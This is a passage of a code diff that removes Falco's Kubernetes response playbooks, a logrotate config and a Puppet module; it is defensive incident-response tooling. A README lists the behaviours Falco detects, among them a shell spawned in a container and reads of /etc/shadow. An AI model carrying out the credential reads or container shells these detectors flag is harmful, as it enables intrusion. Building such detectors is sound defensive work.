-# Spyder project settings
-.spyderproject
-.spyproject
-
-# Rope project settings
-.ropeproject
-
-# mkdocs documentation
-/site
-
-# mypy
-.mypy_cache/

integrations/kubernetes-response-engine/playbooks/Pipfile

@@ -1,19 +0,0 @@
-[[source]]
-url = "https://pypi.python.org/simple"
-verify_ssl = true
-name = "pypi"
-
-[dev-packages]
-mamba = "*"
-expects = "*"
-doublex = "*"
-doublex-expects = "==0.7.0rc2"
-
-[packages]
-kubernetes = "*"
-requests = "*"
-"e1839a8" = {path = ".", editable = true}
-maya = "*"
-
-[requires]
-python_version = "3.6"

integrations/kubernetes-response-engine/playbooks/Pipfile.lock

@@ -1,367 +0,0 @@
-{
-    "_meta": {
-        "hash": {
-            "sha256": "00ca5a9cb1f462d534a06bca990e987e75a05b7baf6ba5ddac529f03312135e6"
-        },
-        "pipfile-spec": 6,
-        "requires": {
-            "python_version": "3.6"
-        },
-        "sources": [
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-                "sha256:f8a923a85cb099422ad5a2e345fe877bbc89a8a8b23235824a93488150e45f6e"
-            ],
-            "version": "==4.5.1"
-        },
-        "doublex": {
-            "hashes": [
-                "sha256:062af49d9e4148bc47b7512d3fdc8e145dea4671d074ffd54b2464a19d3757ab"
-            ],
-            "index": "pypi",
-            "version": "==1.8.4"
-        },
-        "doublex-expects": {
-            "hashes": [
-                "sha256:5421bd92319c77ccc5a81d595d06e9c9f7f670de342b33e8007a81e70f9fade8"
-            ],
-            "index": "pypi",
-            "version": "==0.7.0rc2"
-        },
-        "expects": {
-            "hashes": [
-                "sha256:37538d7b0fa9c0d53e37d07b0e8c07d89754d3deec1f0f8ed1be27f4f10363dd"
-            ],
-            "index": "pypi",
-            "version": "==0.8.0"
-        },
-        "mamba": {
-            "hashes": [
-                "sha256:63e70a8666039cf143a255000e23f29be4ea4b5b8169f2b053f94eb73a2ea9e2"
-            ],
-            "index": "pypi",
-            "version": "==0.9.3"
-        },
-        "pyhamcrest": {
-            "hashes": [
-                "sha256:6b672c02fdf7470df9674ab82263841ce8333fb143f32f021f6cb26f0e512420",
-                "sha256:7a4bdade0ed98c699d728191a058a60a44d2f9c213c51e2dd1e6fb42f2c6128a",
-                "sha256:8ffaa0a53da57e89de14ced7185ac746227a8894dbd5a3c718bf05ddbd1d56cd",
-                "sha256:bac0bea7358666ce52e3c6c85139632ed89f115e9af52d44b3c36e0bf8cf16a9",
-                "sha256:f30e9a310bcc1808de817a92e95169ffd16b60cbc5a016a49c8d0e8ababfae79"
-            ],
-            "version": "==1.9.0"
-        },
-        "six": {
-            "hashes": [
-                "sha256:70e8a77beed4562e7f14fe23a786b54f6296e34344c23bc42f07b15018ff98e9",
-                "sha256:832dc0e10feb1aa2c68dcc57dbb658f1c7e65b9b61af69048abc87a2db00a0eb"
-            ],
-            "version": "==1.11.0"
-        }
-    }
-}

integrations/kubernetes-response-engine/playbooks/README.md

@@ -1,164 +0,0 @@
-# Playbooks
-
-Following [owasp ideas](https://owaspsummit.org/Working-Sessions/Security-Playbooks/index.html),
-playbooks are workflows and prescriptive instructions on how to handle specific
-Security activities or incidents.
-
-Being more specific, playbooks are actions that are going to be executed when
-Falco finds a weird behavior in our Kubernetes cluster. We have implemented
-them with Python and we have found that several Serverless concepts fits well
-with playbooks, so we use [Kubeless](https://kubeless.io/) for its deployment.
-
-## Requirements
-
-* A working Kubernetes cluster
-* [kubeless cli executable](https://kubeless.io/docs/quick-start/)
-* Python 3.6
-* pipenv
-
-## Deploying a playbook
-
-Deploying a playbook involves a couple of components, the function that is going
-to be with Kubeless and a trigger for that function.
-
-We have automated those steps in a generic script *deploy_playbook* who packages
-the reaction and its dependencies, uploads to Kubernetes and creates the kubeless
-trigger.
-
-```
-./deploy_playbook -p slack -e SLACK_WEBHOOK_URL="https://..." -t "falco.error.*" -t "falco.info.*"
-```
-
-### Parameters
-
-* -p: The playbook to deploy, it must match with the top-level script. In this
-    example *slack.py* that contains the wiring between playbooks and Kubeless
-    functions
-
-* -e: Sets configuration settings for Playbook. In this case the URL where we
-    have to post messages. You can specify multiple *-e* flags.
-
-* -t: Topic to susbcribe. You can specify multiple *-t* flags and a trigger
-    will be created for each topic, so when we receive a message in that topic,
-    our function will be ran. In this case, playbook will be run when a
-    falco.error or falco.info alert is raised.
-
-### Kubeless 101
-
-Under the hood, there are several useful commands for checking function state with kubeless.
-
-
-We can retrieve all functions deployed in our cluster:
-```
-kubeless function list
-```
-
-And we can see several interesting stats about a function usage:
-```
-kubeless function top
-```
-
-And we can see bindings between functions and NATS topics:
-```
-kubeless trigger nats list
-```
-
-### Undeploying a function
-
-You have to delete every component using kubeless cli tool.
-
-Generally, it takes 2 steps: Remove the triggers and remove the function.
-
-Remove the triggers:
-```
-kubeless trigger nats delete trigger-name
-```
-
-If you have deployed with the script, trigger-name look like:
-*falco-<playbook>-trigger-<index>* where index is the index of the topic created.
-Anyway, you can list all triggers and select the name.
-
-
-Remove the function:
-```
-kubeless function delete function-name
-```
-
-If you have deployed with the script, the function name will start with *falco-<playbook>*,
-but you can list all functions and select its name.
-
-## Testing
-
-One of the goals of the project was that playbooks were tested.
-
-You can execute the tests with:
-
-```
-pipenv --three install -d
-export KUBERNETES_LOAD_KUBE_CONFIG=1
-pipenv run mamba --format=documentation
-```
-
-The first line install development tools, which includes test runner and assertions.
-The second one tells Kubernetes Client to use the same configuration than kubectl and
-the third one runs the test.
-
-The tests under *specs/infrastructure* runs against a real Kubernetes cluster,
-but the *spec/reactions* can be run without any kind of infrastructure.
-
-## Available Playbooks
-
-### Delete a Pod
-
-This playbook kills a pod using Kubernetes API
-
-```
-./deploy_playbook -p delete -t "falco.notice.terminal_shell_in_container"
-```
-
-In this example, everytime we receive a *Terminal shell in container* alert from
-Falco, that pod will be deleted.
-
-### Send message to Slack
-
-This playbook posts a message to Slack
-
-```
-./deploy_playbook -p slack -t "falco.error.*" -e SLACK_WEBHOOK_URL="https://..."
-```
-
-#### Parameters
-
-* SLACK_WEBHOOK_URL: This is the webhook used for posting messages in Slack
-
-In this example, when Falco raises an error we will be notified in Slack
-
-### Taint a Node
-
-This playbook taints the node which where pod is running.
-
-```
-$ ./deploy_playbook -p taint -t “falco.notice.contact_k8s_api_server_from_container”
-```
-
-#### Parameters:
-* TAINT_KEY: This is the taint key. Default value: ‘falco/alert’
-* TAINT_VALUE: This is the taint value. Default value: ‘true’
-* TAINT_EFFECT: This is the taint effect. Default value: ‘NoSchedule’
-
-In this example, we avoid scheduling in the node which originates the Contact
-K8S API server from container.  But we can use a more aggresive approach and
-use -e TAINT_EFFECT=NoExecute
-
-### Network isolate a Pod
-
-This reaction denies all ingress/egress traffic from a Pod. It's intended to
-be used with Calico or other similar projects for managing networking in
-Kubernetes.
-
-```
-./deploy_playbook -p isolate -t “falco.notice.write_below_binary_dir” -t “falco.error.write_below_etc”
-```
-
-So as soon as we notice someone wrote under /bin (and additional binaries) or
-/etc, we disconnect that pod. It's like a trap for our attackers.

integrations/kubernetes-response-engine/playbooks/delete.py

@@ -1,16 +0,0 @@
-import sys
-import os.path
-sys.path.append(os.path.join(os.path.abspath(os.path.dirname(__file__))))
-
-import os
-import playbooks
-from playbooks import infrastructure
-
-
-playbook = playbooks.DeletePod(
-    infrastructure.KubernetesClient()
-)
-
-
-def handler(event, context):
-    playbook.run(event['data'])

integrations/kubernetes-response-engine/playbooks/deploy_playbook

@@ -1,68 +0,0 @@
-#!/bin/bash
-#
-# Deploys a playbook
-
-set -e
-
-function usage() {
-  cat<<EOF
-Usage: $0 [options]
-
--p playbook     Playbook to be deployed. Is the script for Kubeless: slack, taint, isolate.
--e environment  Environment variables for the Kubeless function.  You can pass multiple environment variables passing several -e parameters.
--t topic        NATS topic to subscribe function. You can bind to multiple topics passing several -t parameters.
-
-You must pass the playbook and at least one topic to subscribe.
-
-Example:
-
-deploy_playbook -r slack -t "falco.error.*" -e SLACK_WEBHOOK_URL=http://foobar.com/...
-EOF
-  exit 1
-}
-
-function join { local IFS="$1"; shift; echo "$*"; }
-
-playbook=""
-environment=()
-topics=()
-
-while getopts "r:e:t:" arg; do
-  case $arg in
-    r)
-      playbook="${OPTARG}"
-      ;;
-    e)
-      environment+=("${OPTARG}")
-      ;;
-    t)
-      topics+=("${OPTARG}")
-      ;;
-    *)
-      usage
-      ;;
-  esac
-done
-
-if [[ "${playbook}" == "" || ${#topics[@]} -eq 0 ]]; then
-  usage
-fi
-
-pipenv lock --requirements | sed '/^-/ d' > requirements.txt
-
-zip "${playbook}".zip -r playbooks/*.py "${playbook}".py
-
-kubeless function deploy  --from-file "${playbook}".zip \
-                          --dependencies requirements.txt \
-                          --env "$(join , ${environment[*]})" \
-                          --runtime python3.6 \
-                          --handler "${playbook}".handler \
-                          falco-"${playbook}"
-
-rm requirements.txt ${playbook}.zip
-
-for index in ${!topics[*]}; do
-  kubeless trigger nats create falco-"${playbook}"-trigger-"${index}" \
-      --function-selector created-by=kubeless,function=falco-${playbook} \
-      --trigger-topic "${topics[$index]}"
-done

integrations/kubernetes-response-engine/playbooks/isolate.py

@@ -1,16 +0,0 @@
-import sys
-import os.path
-sys.path.append(os.path.join(os.path.abspath(os.path.dirname(__file__))))
-
-import os
-import playbooks
-from playbooks import infrastructure
-
-
-playbook = playbooks.NetworkIsolatePod(
-    infrastructure.KubernetesClient()
-)
-
-
-def handler(event, context):
-    playbook.run(event['data'])

integrations/kubernetes-response-engine/playbooks/playbooks/__init__.py

@@ -1,101 +0,0 @@
-import maya
-
-
-class DeletePod:
-    def __init__(self, k8s_client):
-        self._k8s_client = k8s_client
-
-    def run(self, alert):
-        pod_name = alert['output_fields']['k8s.pod.name']
-
-        self._k8s_client.delete_pod(pod_name)
-
-
-class AddMessageToSlack:
-    def __init__(self, slack_client):
-        self._slack_client = slack_client
-
-    def run(self, alert):
-        message = self._build_slack_message(alert)
-        self._slack_client.post_message(message)
-
-        return message
-
-    def _build_slack_message(self, alert):
-        return {
-            'text': self._output(alert),
-            'attachments':  [{
-                'color': self._color_from(alert['priority']),
-                'fields': [
-                    {
-                        'title': 'Rule',
-                        'value': alert['rule'],
-                        'short': False
-                    },
-                    {
-                        'title': 'Priority',
-                        'value': alert['priority'],
-                        'short': True
-                    },
-                    {
-                        'title': 'Time',
-                        'value': str(maya.parse(alert['time'])),
-                        'short': True
-                    },
-                    {
-                        'title': 'Kubernetes Pod Name',
-                        'value': alert['output_fields']['k8s.pod.name'],
-                        'short': True
-                    },
-                    {
-                        'title': 'Container Id',
-                        'value': alert['output_fields']['container.id'],
-                        'short': True
-                    }
-                ]
-            }]
-        }
-
-    def _output(self, alert):
-        output = alert['output'].split(': ')[1]
-        priority_plus_whitespace_length = len(alert['priority']) + 1
-
-        return output[priority_plus_whitespace_length:]
-
-    _COLORS = {
-        'Emergency': '#b12737',
-        'Alert': '#f24141',
-        'Critical': '#fc7335',
-        'Error': '#f28143',
-        'Warning': '#f9c414',
-        'Notice': '#397ec3',
-        'Informational': '#8fc0e7',
-        'Debug': '#8fc0e7',
-    }
-
-    def _color_from(self, priority):
-        return self._COLORS.get(priority, '#eeeeee')
-
-
-class TaintNode:
-    def __init__(self, k8s_client, key, value, effect):
-        self._k8s_client = k8s_client
-        self._key = key
-        self._value = value
-        self._effect = effect
-
-    def run(self, alert):
-        pod = alert['output_fields']['k8s.pod.name']
-        node = self._k8s_client.find_node_running_pod(pod)
-
-        self._k8s_client.taint_node(node, self._key, self._value, self._effect)
-
-
-class NetworkIsolatePod:
-    def __init__(self, k8s_client):
-        self._k8s_client = k8s_client
-
-    def run(self, alert):
-        pod = alert['output_fields']['k8s.pod.name']
-
-        self._k8s_client.add_label_to_pod(pod, 'isolated', 'true')

integrations/kubernetes-response-engine/playbooks/playbooks/infrastructure.py

@@ -1,74 +0,0 @@
-import os
-import json
-
-from kubernetes import client, config
-import requests
-
-
-class KubernetesClient:
-    def __init__(self):
-        if 'KUBERNETES_LOAD_KUBE_CONFIG' in os.environ:
-            config.load_kube_config()
-        else:
-            config.load_incluster_config()
-
-        self._v1 = client.CoreV1Api()
-
-    def delete_pod(self, name):
-        namespace = self._find_pod_namespace(name)
-        body = client.V1DeleteOptions()
-        self._v1.delete_namespaced_pod(name=name,
-                                       namespace=namespace,
-                                       body=body)
-
-    def exists_pod(self, name):
-        response = self._v1.list_pod_for_all_namespaces(watch=False)
-        for item in response.items:
-            if item.metadata.name == name:
-                if item.metadata.deletion_timestamp is None:
-                    return True
-
-        return False
-
-    def _find_pod_namespace(self, name):
-        response = self._v1.list_pod_for_all_namespaces(watch=False)
-        for item in response.items:
-            if item.metadata.name == name:
-                return item.metadata.namespace
-
-    def find_node_running_pod(self, name):
-        response = self._v1.list_pod_for_all_namespaces(watch=False)
-        for item in response.items:
-            if item.metadata.name == name:
-                return item.spec.node_name
-
-    def taint_node(self, name, key, value, effect):
-        body = client.V1Node(
-            spec=client.V1NodeSpec(
-                taints=[
-                    client.V1Taint(key=key, value=value, effect=effect)
-                ]
-            )
-        )
-
-        return self._v1.patch_node(name, body)
-
-    def add_label_to_pod(self, name, label, value):
-        namespace = self._find_pod_namespace(name)
-
-        body = client.V1Pod(
-            metadata=client.V1ObjectMeta(
-                labels={label: value}
-            )
-        )
-
-        return self._v1.patch_namespaced_pod(name, namespace, body)
-
-
-class SlackClient:
-    def __init__(self, slack_webhook_url):
-        self._slack_webhook_url = slack_webhook_url
-
-    def post_message(self, message):
-        requests.post(self._slack_webhook_url,
-                      data=json.dumps(message))

integrations/kubernetes-response-engine/playbooks/setup.py

@@ -1,11 +0,0 @@
-from setuptools import setup
-
-setup(name='playbooks',
-      version='0.1',
-      description='A set of playbooks for Falco alerts',
-      url='http://github.com/draios/falco-playbooks',
-      author='Néstor Salceda',
-      author_email='nestor.salceda@sysdig.com',
-      license='',
-      packages=['playbooks'],
-      zip_safe=False)

integrations/kubernetes-response-engine/playbooks/slack.py

@@ -1,16 +0,0 @@
-import sys
-import os.path
-sys.path.append(os.path.join(os.path.abspath(os.path.dirname(__file__))))
-
-import os
-import playbooks
-from playbooks import infrastructure
-
-
-playbook = playbooks.AddMessageToSlack(
-    infrastructure.SlackClient(os.environ['SLACK_WEBHOOK_URL'])
-)
-
-
-def handler(event, context):
-    playbook.run(event['data'])

integrations/kubernetes-response-engine/playbooks/specs/infrastructure/kubernetes_client_spec.py

@@ -1,65 +0,0 @@
-from mamba import description, context, it, before
-from expects import expect, be_false, be_true, start_with, equal, have_key
-
-import subprocess
-import os.path
-
-from playbooks import infrastructure
-
-
-with description(infrastructure.KubernetesClient) as self:
-    with before.each:
-        self.kubernetes_client = infrastructure.KubernetesClient()
-
-    with context('when checking if a pod exists'):
-        with before.each:
-            self._create_nginx_pod()
-
-        with context('and pod exists'):
-            with it('returns true'):
-                expect(self.kubernetes_client.exists_pod('nginx')).to(be_true)
-
-        with context('and pod does not exist'):
-            with it('returns false'):
-                self.kubernetes_client.delete_pod('nginx')
-
-                expect(self.kubernetes_client.exists_pod('nginx')).to(be_false)
-
-    with it('finds node running pod'):
-        self._create_nginx_pod()
-
-        node = self.kubernetes_client.find_node_running_pod('nginx')
-
-        expect(node).to(start_with('gke-sysdig-work-default-pool'))
-
-    with it('taints node'):
-        self._create_nginx_pod()
-
-        node_name = self.kubernetes_client.find_node_running_pod('nginx')
-
-        node = self.kubernetes_client.taint_node(node_name,
-                                                 'playbooks',
-                                                 'true',
-                                                 'NoSchedule')
-
-        expect(node.spec.taints[0].effect).to(equal('NoSchedule'))
-        expect(node.spec.taints[0].key).to(equal('playbooks'))
-        expect(node.spec.taints[0].value).to(equal('true'))
-
-    with it('adds labels to a pod'):
-        self._create_nginx_pod()
-
-        pod = self.kubernetes_client.add_label_to_pod('nginx',
-                                                      'testing',
-                                                      'true')
-
-        expect(pod.metadata.labels).to(have_key('testing', 'true'))
-
-    def _create_nginx_pod(self):
-        current_directory = os.path.dirname(os.path.realpath(__file__))
-        pod_manifesto = os.path.join(current_directory,
-                                     '..',
-                                     'support',
-                                     'deployment.yaml')
-
-        subprocess.run(['kubectl', 'create', '-f', pod_manifesto])

integrations/kubernetes-response-engine/playbooks/specs/infrastructure/slack_client_spec.py

@@ -1,16 +0,0 @@
-from mamba import description, it
-
-import os
-
-from playbooks import infrastructure
-
-
-with description(infrastructure.SlackClient) as self:
-    with it('posts a message to #kubeless-demo channel'):
-        slack_client = infrastructure.SlackClient(os.environ['SLACK_WEBHOOK_URL'])
-
-        message = {
-            'text': 'Hello from Python! :metal:'
-        }
-
-        slack_client.post_message(message)

integrations/kubernetes-response-engine/playbooks/specs/playbooks/add_message_to_slack_playbook_spec.py

@@ -1,62 +0,0 @@
-from mamba import description, it, before, context
-from expects import expect, have_key, have_keys, contain
-
-from doublex import Spy
-from doublex_expects import have_been_called_with
-
-from playbooks import infrastructure
-import playbooks
-
-
-
-with description(playbooks.AddMessageToSlack) as self:
-    with before.each:
-        self.slack_client = Spy(infrastructure.SlackClient)
-        self.playbook = playbooks.AddMessageToSlack(self.slack_client)
-
-    with context('when publishing a message to slack'):
-        with before.each:
-            self.alert = {
-                "output": "10:22:15.576767292: Notice Unexpected setuid call by non-sudo, non-root program (user=bin cur_uid=2 parent=event_generator command=event_generator  uid=root) k8s.pod=falco-event-generator-6fd89678f9-cdkvz container=1c76f49f40b4",
-                "output_fields": {
-                    "container.id": "1c76f49f40b4",
-                    "evt.arg.uid": "root",
-                    "evt.time": 1527157335576767292,
-                    "k8s.pod.name": "falco-event-generator-6fd89678f9-cdkvz",
-                    "proc.cmdline": "event_generator ",
-                    "proc.pname": "event_generator",
-                    "user.name": "bin",
-                    "user.uid": 2
-                },
-                "priority": "Notice",
-                "rule": "Non sudo setuid",
-                "time": "2018-05-24T10:22:15.576767292Z"
-            }
-
-            self.message = self.playbook.run(self.alert)
-
-        with it('publishes message to slack'):
-            expect(self.slack_client.post_message).to(have_been_called_with(self.message))
-
-        with it('includes falco output'):
-            falco_output = 'Unexpected setuid call by non-sudo, non-root program (user=bin cur_uid=2 parent=event_generator command=event_generator  uid=root) k8s.pod=falco-event-generator-6fd89678f9-cdkvz container=1c76f49f40b4'
-
-            expect(self.message).to(have_key('text', falco_output))
-
-        with it('includes color based on priority'):
-            expect(self.message['attachments'][0]).to(have_key('color'))
-
-        with it('includes priority'):
-            expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Priority', value='Notice')))
-
-        with it('includes rule name'):
-            expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Rule', value='Non sudo setuid')))
-
-        with it('includes time when alert happened'):
-            expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Time', value='Thu, 24 May 2018 10:22:15 GMT')))
-
-        with it('includes kubernetes pod name'):
-            expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Kubernetes Pod Name', value='falco-event-generator-6fd89678f9-cdkvz')))
-
-        with it('includes container id'):
-            expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Container Id', value='1c76f49f40b4')))

integrations/kubernetes-response-engine/playbooks/specs/playbooks/delete_pod_playbook_spec.py

@@ -1,22 +0,0 @@
-from mamba import description, it, before
-from expects import expect
-
-from doublex import Spy
-from doublex_expects import have_been_called_with
-
-from playbooks import infrastructure
-import playbooks
-
-
-with description(playbooks.DeletePod) as self:
-    with before.each:
-        self.k8s_client = Spy(infrastructure.KubernetesClient)
-        self.playbook = playbooks.DeletePod(self.k8s_client)
-
-    with it('deletes a pod'):
-        pod_name = 'a pod name'
-        alert = {'output_fields': {'k8s.pod.name': pod_name}}
-
-        self.playbook.run(alert)
-
-        expect(self.k8s_client.delete_pod).to(have_been_called_with(pod_name))

integrations/kubernetes-response-engine/playbooks/specs/playbooks/network_isolate_pod_playbook_spec.py

@@ -1,22 +0,0 @@
-from mamba import description, it, before
-from expects import expect
-
-from doublex import Spy
-from doublex_expects import have_been_called
-
-from playbooks import infrastructure
-import playbooks
-
-
-with description(playbooks.NetworkIsolatePod) as self:
-    with before.each:
-        self.k8s_client = Spy(infrastructure.KubernetesClient)
-        self.playbook = playbooks.NetworkIsolatePod(self.k8s_client)
-
-    with it('adds isolation label to pod'):
-        pod_name = 'any pod name'
-        alert = {'output_fields': {'k8s.pod.name': pod_name}}
-
-        self.playbook.run(alert)
-
-        expect(self.k8s_client.add_label_to_pod).to(have_been_called)

integrations/kubernetes-response-engine/playbooks/specs/playbooks/taint_node_playbook_spec.py

@@ -1,34 +0,0 @@
-from mamba import description, it, before
-from expects import expect
-
-from doublex import Spy, when
-from doublex_expects import have_been_called_with
-
-from playbooks import infrastructure
-import playbooks
-
-
-with description(playbooks.TaintNode) as self:
-    with before.each:
-        self.k8s_client = Spy(infrastructure.KubernetesClient)
-        self.key = 'falco/alert'
-        self.value = 'true'
-        self.effect = 'NoSchedule'
-        self.playbook = playbooks.TaintNode(self.k8s_client,
-                                            self.key,
-                                            self.value,
-                                            self.effect)
-
-    with it('taints the node'):
-        pod_name = 'any pod name'
-        alert = {'output_fields': {'k8s.pod.name': pod_name}}
-
-        node = 'any node'
-        when(self.k8s_client).find_node_running_pod(pod_name).returns(node)
-
-        self.playbook.run(alert)
-
-        expect(self.k8s_client.taint_node).to(have_been_called_with(node,
-                                                                    self.key,
-                                                                    self.value,
-                                                                    self.effect))

integrations/kubernetes-response-engine/playbooks/specs/support/deployment.yaml

@@ -1,10 +0,0 @@
-apiVersion: v1
-kind: Pod
-metadata:
-  name: nginx
-spec:
-  containers:
-  - name: nginx
-    image: nginx:latest
-    ports:
-    - containerPort: 80

integrations/kubernetes-response-engine/playbooks/taint.py

@@ -1,19 +0,0 @@
-import sys
-import os.path
-sys.path.append(os.path.join(os.path.abspath(os.path.dirname(__file__))))
-
-import os
-import playbooks
-from playbooks import infrastructure
-
-
-playbook = playbooks.TaintNode(
-    infrastructure.KubernetesClient(),
-    os.environ.get('TAINT_KEY', 'falco/alert'),
-    os.environ.get('TAINT_VALUE', 'true'),
-    os.environ.get('TAINT_EFFECT', 'NoSchedule')
-)
-
-
-def handler(event, context):
-    playbook.run(event['data'])

integrations/logrotate/falco

@@ -1,7 +0,0 @@
-/var/log/falco-events.log {
-    rotate 5
-    size 1M
-    postrotate
-        /usr/bin/killall -USR1 falco
-    endscript
-}

integrations/puppet-module/README.md

@@ -1,3 +0,0 @@
-# Example Puppet Falco Module
-
-This contains an example [Puppet](https://puppet.com/) module for Falco.

integrations/puppet-module/sysdig-falco/Gemfile

@@ -1,7 +0,0 @@
-source 'https://rubygems.org'
-
-puppetversion = ENV.key?('PUPPET_VERSION') ? "= #{ENV['PUPPET_VERSION']}" : ['>= 3.3']
-gem 'puppet', puppetversion
-gem 'puppetlabs_spec_helper', '>= 0.1.0'
-gem 'puppet-lint', '>= 0.3.2'
-gem 'facter', '>= 1.7.0'

integrations/puppet-module/sysdig-falco/README.md

@@ -1,241 +0,0 @@
-# falco
-
-#### Table of Contents
-
-1. [Overview](#overview)
-2. [Module Description - What the module does and why it is useful](#module-description)
-3. [Setup - The basics of getting started with falco](#setup)
-    * [What falco affects](#what-falco-affects)
-    * [Beginning with falco](#beginning-with-falco)
-4. [Usage - Configuration options and additional functionality](#usage)
-5. [Reference - An under-the-hood peek at what the module is doing and how](#reference)
-5. [Limitations - OS compatibility, etc.](#limitations)
-6. [Development - Guide for contributing to the module](#development)
-
-## Overview
-
-Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdig’s system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
-
-#### What kind of behaviors can Falco detect?
-
-Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
-
-- A shell is run inside a container
-- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
-- A server process spawns a child process of an unexpected type
-- Unexpected read of a sensitive file (like `/etc/shadow`)
-- A non-device file is written to `/dev`
-- A standard system binary (like `ls`) makes an outbound network connection
-
-## Module Description
-
-This module configures falco as a systemd service. You configure falco
-to send its notifications to one or more output channels (syslog,
-files, programs).
-
-## Setup
-
-### What falco affects
-
-This module affects the following:
-
-* The main falco configuration file `/etc/falco/falco.yaml`, including
-** Output format (JSON vs plain text)
-** Log level
-** Rule priority level to run
-** Output buffering
-** Output throttling
-** Output channels (syslog, file, program)
-
-### Beginning with falco
-
-To have Puppet install falco with the default parameters, declare the falco class:
-
-``` puppet
-class { 'falco': }
-```
-
-When you declare this class with the default options, the module:
-
-* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
-* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
-* Starts the falco service.
-
-## Usage
-
-### Enabling file output
-
-To enable file output, set the `file_output` hash, as follows:
-
-``` puppet
-class { 'falco':
-  file_output => {
-    'enabled' => 'true',
-    'keep_alive' => 'false',
-	'filename' => '/tmp/falco-events.txt'
-  },
-}
-```
-
-### Enabling program output
-
-To enable program output, set the `program_output` hash and optionally the `json_output` parameters, as follows:
-
-``` puppet
-class { 'falco':
-  json_output => 'true',
-  program_output => {
-    'enabled' => 'true',
-    'keep_alive' => 'false',
-	'program' => 'curl http://some-webhook.com'
-  },
-}
-```
-
-## Reference
-
-* [**Public classes**](#public-classes)
-    * [Class: falco](#class-falco)
-
-### Public Classes
-
-#### Class: `falco`
-
-Guides the basic setup and installation of falco on your system.
-
-When this class is declared with the default options, Puppet:
-
-* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
-* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
-* Starts the falco service.
-
-You can simply declare the default `falco` class:
-
-``` puppet
-class { 'falco': }
-```
-
-###### `rules_file`
-
-An array of files for falco to load. Order matters--the first file listed will be loaded first.
-
-Default: `['/etc/falco/falco_rules.yaml', '/etc/falco/falco_rules.local.yaml']`
-
-##### `json_output`
-
-Whether to output events in json or text.
-
-Default: `false`
-
-##### `log_stderr`
-
-Send falco's logs to stderr. Note: this is not notifications, this is
-logs from the falco daemon itself.
-
-Default: `false`
-
-##### `log_syslog`
-
-Send falco's logs to syslog. Note: this is not notifications, this is
-logs from the falco daemon itself.
-
-Default: `true`
-
-##### `log_level`
-
-Minimum log level to include in logs. Note: these levels are
-separate from the priority field of rules. This refers only to the
-log level of falco's internal logging. Can be one of "emergency",
-"alert", "critical", "error", "warning", "notice", "info", "debug".
-
-Default: `info`
-
-##### `priority`
-
-Minimum rule priority level to load and run. All rules having a
-priority more severe than this level will be loaded/run.  Can be one
-of "emergency", "alert", "critical", "error", "warning", "notice",
-"info", "debug".
-
-Default: `debug`
-
-##### `buffered_outputs`
-
-Whether or not output to any of the output channels below is
-buffered.
-
-Default: `true`
-
-##### `outputs_rate`/`outputs_max_burst`
-
-A throttling mechanism implemented as a token bucket limits the
-rate of falco notifications. This throttling is controlled by the following configuration
-options:
-
-* `outputs_rate`: the number of tokens (i.e. right to send a notification)
-   gained per second. Defaults to 1.
-* `outputs_max_burst`: the maximum number of tokens outstanding. Defaults to 1000.
-
-##### `syslog_output
-
-Controls syslog output for notifications. Value: a hash, containing the following:
-
-* `enabled`: `true` or `false`. Default: `true`.
-
-Example:
-
-``` puppet
-class { 'falco':
-  syslog_output => {
-    'enabled' => 'true',
-  },
-}
-```
-
-##### `file_output`
-
-Controls file output for notifications. Value: a hash, containing the following:
-
-* `enabled`: `true` or `false`. Default: `false`.
-* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
-* `filename`: Notifications will be written to this file.
-
-Example:
-
-``` puppet
-class { 'falco':
-  file_output => {
-    'enabled' => 'true',
-    'keep_alive' => 'false',
-	'filename' => '/tmp/falco-events.txt'
-  },
-}
-```
-
-##### `program_output
-
-Controls program output for notifications. Value: a hash, containing the following:
-
-* `enabled`: `true` or `false`. Default: `false`.
-* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
-* `program`: Notifications will be written to this program.
-
-Example:
-
-``` puppet
-class { 'falco':
-  program_output => {
-    'enabled' => 'true',
-    'keep_alive' => 'false',
-	'program' => 'curl http://some-webhook.com'
-  },
-}
-```
-
-## Limitations
-
-The module works where falco works as a daemonized service (generally, Linux only).
-
-## Development
-
-For more information on Sysdig Falco, visit our [github](https://github.com/draios/falco) or [web site](https://sysdig.com/opensource/falco/).

integrations/puppet-module/sysdig-falco/Rakefile

@@ -1,18 +0,0 @@
-require 'rubygems'
-require 'puppetlabs_spec_helper/rake_tasks'
-require 'puppet-lint/tasks/puppet-lint'
-PuppetLint.configuration.send('disable_80chars')
-PuppetLint.configuration.ignore_paths = ["spec/**/*.pp", "pkg/**/*.pp"]
-
-desc "Validate manifests, templates, and ruby files"
-task :validate do
-  Dir['manifests/**/*.pp'].each do |manifest|
-    sh "puppet parser validate --noop #{manifest}"
-  end
-  Dir['spec/**/*.rb','lib/**/*.rb'].each do |ruby_file|
-    sh "ruby -c #{ruby_file}" unless ruby_file =~ /spec\/fixtures/
-  end
-  Dir['templates/**/*.erb'].each do |template|
-    sh "erb -P -x -T '-' #{template} | ruby -c"
-  end
-end

integrations/puppet-module/sysdig-falco/manifests/config.pp

@@ -1,13 +0,0 @@
-# == Class: falco::config
-class falco::config inherits falco {
-
-  file { '/etc/falco/falco.yaml':
-    notify  => Service['falco'],
-    ensure  => file,
-    owner   => 'root',
-    group   => 'root',
-    mode    => '0644',
-    content => template('falco/falco.yaml.erb'),
-  }
-
-}

integrations/puppet-module/sysdig-falco/manifests/init.pp

@@ -1,31 +0,0 @@
-class falco (
-          $rules_file = [
